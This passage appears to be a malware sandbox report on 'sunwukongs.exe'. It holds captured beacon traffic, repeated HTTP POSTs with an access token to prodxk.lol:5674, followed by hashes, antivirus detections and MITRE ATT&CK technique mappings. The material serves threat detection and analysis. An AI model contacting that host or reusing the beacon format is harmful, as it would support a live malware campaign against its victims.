W/"ad2e-fi54jaj51Zv7fm0oz+d8G5Iu/FU" with response body ==>C2B835585D6F517CC2B66CC2B64501C289C3B7C38957266056602BC287C39BC3A3C2AE5167702DC38105C3B6C38F7947C3B5C3BBC286411AC284C3A3C38B31C3......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:13 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:14 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:15 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:15 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:16 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:16 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:17 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:17 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:18 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:20 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:21 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:21 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:22 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:22 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D.......3e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiJmIiAAAAAAAAAAAAAAAmZmZmZmIAAAAAAAAAAAAmZmIiIiZmYgAAAAAAAAACZmZ3d3d3ZmYgAAAAAAAAJmZ3d3d3d3dmYgAAAAAAAmZ3d3h3d3h3d2YgAAAAACZnd3d3ZmZmd3d2YgAAAAJmZ3d3ZmZmZmd3dmYgAAACZnd3dmd3d3dmd3dmIAAABmd3d2Z3d3d3dnd3dmIAACZnd3dmd3d3iHZnd3ZiAAAmZ3d2Z3d3d2ZmZ3d2YgAAJmd3dmd3d3dmZmd3dmIAAGZnd3Znd3d3d3d3d3ZmAABmZ3d2Z3d3d3d3d3d2ZgAAdmd3dmd3d3d3d3d3dmYAAHZnd3Znd3d3d3d3d3ZnAAB2Z3d3Znd3d3d3d3d2ZwAAdmd3d2Z3d3d3Znd3dmcAACdmd3d2Z3eHdmZ3d2ZyAAAHZnd3d2ZmZmZnd3dmcAAAAnZnd3d3ZmZnd3d2ZyAAAAB3Znd3d3d3d3d3ZncAAAAAB3ZneHd3d3eHdmdwAAAAAAB3Zmd3eId3dmZ3AAAAAAAAB3dmZmZmZmZ3cAAAAAAAAAAnd2ZmZmZ3cgAAAAAAAAAAACd3d3d3cgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////AP//+AAf//AAD//AAAP/gAAB/4AAAf8AAAD+AAAAfgAAAHwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAAD4AAAB+AAAAfwAAAP+AAAH/wAAD/+AAB//wAA///AA////////////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791551405636,"unified_at":"2026-10-09T13:10:05.636Z","metadata":{"hashes":{"sha256":"5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e","sha1":"c23da96e2e71d8487c839b75bfaad1e7f8b7a3a8","md5":"8c0b07374898e76cadd6d36e68959682","sha512":"65d14369b888b34751fdf12d7eafb56c2e4c9b5381a3678e14dab38530ba239cfc22d082fc671ecc8026071f6f36c88d066d1d3ec41636cdf0b3f09d6945bd19","ssdeep":"6144:VJNtbWAce4u+jylPusfldaDEfrL19LEV46xwZAVqxSFUMlom4Gl1f1rcr7:NkO46lpkIjLt4+APiGXg7","ssdeep_chunks":["6144:VJNtbWA","6144:JNtbWAc","6144:NtbWAce","6144:tbWAce4","6144:bWAce4u","6144:WAce4u+","6144:Ace4u+j","6144:ce4u+jy","6144:e4u+jyl","6144:4u+jylP","6144:u+jylPu","6144:+jylPus","6144:jylPusf","6144:ylPusfl","6144:lPusfld","6144:Pusflda","6144:usfldaD","6144:sfldaDE","6144:fldaDEf","6144:ldaDEfr","6144:daDEfrL","6144:aDEfrL1","6144:DEfrL19","6144:EfrL19L","6144:frL19LE","6144:rL19LEV","6144:L19LEV4","6144:19LEV46","6144:9LEV46x","6144:LEV46xw","6144:EV46xwZ","6144:V46xwZA","6144:46xwZAV","6144:6xwZAVq","6144:xwZAVqx","6144:wZAVqxS","6144:ZAVqxSF","6144:AVqxSFU","6144:VqxSFUM","6144:qxSFUMl","6144:xSFUMlo","6144:SFUMlom","6144:FUMlom4","6144:UMlom4G","6144:Mlom4Gl","6144:lom4Gl1","6144:om4Gl1f","6144:m4Gl1f1","6144:4Gl1f1r","6144:Gl1f1rc","6144:l1f1rcr","6144:1f1rcr7","12288:VJNtbWA","12288:JNtbWAc","12288:NtbWAce","12288:tbWAce4","12288:bWAce4u","12288:WAce4u+","12288:Ace4u+j","12288:ce4u+jy","12288:e4u+jyl","12288:4u+jylP","12288:u+jylPu","12288:+jylPus","12288:jylPusf","12288:ylPusfl","12288:lPusfld","12288:Pusflda","12288:usfldaD","12288:sfldaDE","12288:fldaDEf","12288:ldaDEfr","12288:daDEfrL","12288:aDEfrL1","12288:DEfrL19","12288:EfrL19L","12288:frL19LE","12288:rL19LEV","12288:L19LEV4","12288:19LEV46","12288:9LEV46x","12288:LEV46xw","12288:EV46xwZ","12288:V46xwZA","12288:46xwZAV","12288:6xwZAVq","12288:xwZAVqx","12288:wZAVqxS","12288:ZAVqxSF","12288:AVqxSFU","12288:VqxSFUM","12288:qxSFUMl","12288:xSFUMlo","12288:SFUMlom","12288:FUMlom4","12288:UMlom4G","12288:Mlom4Gl","12288:lom4Gl1","12288:om4Gl1f","12288:m4Gl1f1","12288:4Gl1f1r","12288:Gl1f1rc","12288:l1f1rcr","12288:1f1rcr7","6144:NkO46lp","6144:kO46lpk","6144:O46lpkI","6144:46lpkIj","6144:6lpkIjL","6144:lpkIjLt","6144:pkIjLt4","6144:kIjLt4+","6144:IjLt4+A","6144:jLt4+AP","6144:Lt4+APi","6144:t4+APiG","6144:4+APiGX","6144:+APiGXg","6144:APiGXg7"]},"file_info":{"file_name":"sunwukongs.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":757216,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1777583849000,"last_seen":1777649373000,"last_multi_scan":1777649373000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["urlscanio","evasive","malicious","new_domain"]},"stats":{"av":{"malicious_count":8,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":68},"sandbox_signatures":{"informative_count":122,"suspicious_count":11,"malicious_count":9,"total":142},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.GenKryptik","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Generic.39904845","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Wacatac_B_ml","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Generic.39904845 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.HZHD trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Kryptik.cl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABTrojan.KVOR-8226","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense 